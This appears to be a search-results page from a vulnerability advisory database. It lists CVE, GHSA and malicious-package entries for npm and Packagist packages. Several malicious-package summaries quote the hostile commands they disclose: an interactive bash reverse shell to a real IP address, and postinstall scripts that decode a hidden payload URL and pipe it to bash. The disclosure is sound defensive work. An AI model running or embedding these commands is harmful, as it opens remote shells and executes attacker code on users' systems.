256523 matches found
CVE-2026-44288 vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
CVE-2026-44292 vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
CVE-2026-44289 vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
CVE-2026-44291 vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
CVE-2026-44293 vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
GHSA-FX83-V9X8-X52W vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
GHSA-JVWF-75H9-CWGG vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
GHSA-2PR8-PHX7-X9H3 vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
CVE-2026-44290 vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
CVE-2026-44294 vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
GHSA-Q6X5-8V7M-XCRF vulnerabilities
Vulnerabilities for packages: kibana, homepage, kubeflow-centraldashboard, cadence-web, pulumi, librechat, renovate, gemini-cli, opentelemetry-auto-instrumentations-node, vitess, nemo...
MAL-2026-3714 Malicious code in hello-world-pkg-value-value-p (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89 This package's postinstall hook executes node index.js, which runs execSync'bash -i & /dev/tcp/52.249.218.132/8080 0&1' — an interactive bash reverse...
Malicious code in hardhat-core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bb86c79e7ed3cd429c0f28bc08e00ce020df2ec42fdda086ad8bfca99f259930 package.json declares a postinstall script that base64-decodes the string 'aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=' to the URL...
MAL-2026-3708 Malicious code in ethers-io (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 098acd1dccfed8bcaea9f56206745eef7c9e4cd368599ba23f762a84c86bbc14 The package's package.json declares a postinstall script that base64-decodes a hidden URL http://8.217.75.147:3000/payload and pipes the HTTP respons...
Malicious code in solc-helper (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2016baa4fe29c296464b8381f88440457a113d79e2773d2252eb609a15ea2e03 package.json's postinstall lifecycle script runs node -e to base64-decode a hidden URL and pipe its contents to bash: curl -s...
Malicious code in web3-common (npm)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 2e42f568897d9af194eb75275059455c99b369456b0c8e0ffe13e7f32be839e6 The OpenSSF Package Analysis project identified 'web3-common' @ 1.0.0 npm as malicious. It is considered malicious because: - The package execut...
XML::LibXML versions through 2.0210 for Perl read out-of-bounds heap memory when parsing XML node names containing truncated UTF-8 byte sequences
...
SUSE CVE-2026-43349
In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid uninit-value access in f2fssanitychecknodefooter syzbot reported a f2fs bug as below: BUG: KMSAN: uninit-value in f2fssanitychecknodefooter+0x374/0xa20 fs/f2fs/node.c:1520 f2fssanitychecknodefooter+0x374/0xa20...
Malicious code in intercom-php (Packagist)
--- -= Per source details. Do not edit below this line.=- Source: google-open-source-security 0bd33abd6fda35e856f8346fda5e85913ce2cad6b4d6c315a2e7138b867760aa This package is malicious and was compromised as part of the Mini Shai-Hulud campaign by the TeamPCP threat actor. The malicious payload...
MAL-2026-3637 Malicious code in intercom-php (Packagist)
--- -= Per source details. Do not edit below this line.=- Source: google-open-source-security 0bd33abd6fda35e856f8346fda5e85913ce2cad6b4d6c315a2e7138b867760aa This package is malicious and was compromised as part of the Mini Shai-Hulud campaign by the TeamPCP threat actor. The malicious payload...